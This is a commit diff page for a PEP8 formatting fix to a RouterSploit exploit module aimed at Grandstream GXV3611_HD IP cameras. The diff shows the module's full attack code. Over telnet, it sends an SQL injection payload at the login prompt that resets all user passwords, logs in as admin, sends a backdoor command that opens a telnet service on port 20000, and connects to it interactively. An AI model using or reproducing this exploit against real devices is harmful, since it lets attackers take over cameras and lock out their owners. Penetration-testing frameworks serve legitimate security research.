Commit 233ef4ce by Joshua Abraham

Fixed PEP8

parent d90572c0
......@@ -3,36 +3,31 @@ import telnetlib
from routersploit import (
exploits,
mute,
sanitize_url,
print_error,
print_success,
print_status,
print_table,
)
class Exploit(exploits.Exploit):
"""
Simple description
"""
__info__ = {
'name': 'Grandsteam GXV3611_HD - SQL Injection',
'description': 'Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. '
'After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it',
'description': 'Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. '
'After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it',
'authors': [
'pizza1337', # exploit author
'Joshua Abraham', # routesploit module
'pizza1337', # exploit author
'Joshua Abraham', # routesploit module
],
'references': [
'https://www.exploit-db.com/exploits/40441/',
'http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html',
'https://www.exploit-db.com/exploits/40441/',
'http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html',
],
'devices': [
'Grandstream GXV3611_HD',
],
}
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address
port = exploits.Option(23, 'Target port') # default port
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address
port = exploits.Option(23, 'Target port') # default port
def run(self):
if self.check():
......@@ -41,15 +36,15 @@ class Exploit(exploits.Exploit):
try:
conn = telnetlib.Telnet(self.target, self.port)
conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") #This changes all the passwords to 'a'
conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a'
conn.read_until("Password: ")
conn.write("nothing\r\n")
conn.read_until("Username: ")
conn.write("admin\r\n")
conn.read_until("Password: ")
conn.write("a\r\n") #Login with the new password
conn.write("a\r\n") # Login with the new password
conn.read_until("> ")
conn.write("!#/ port lol\r\n") #Backdoor command triggers telnet server to startup.
conn.write("!#/ port lol\r\n") # Backdoor command triggers telnet server to startup.
conn.read_until("> ")
conn.write("quit\r\n")
conn.close()
......@@ -68,7 +63,6 @@ class Exploit(exploits.Exploit):
conn.interact()
except:
print_error("Failed to log into backdoor.")
else:
print_error("Exploit failed. Target does not appear vulnerable")
......@@ -80,4 +74,3 @@ class Exploit(exploits.Exploit):
return True
else:
return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment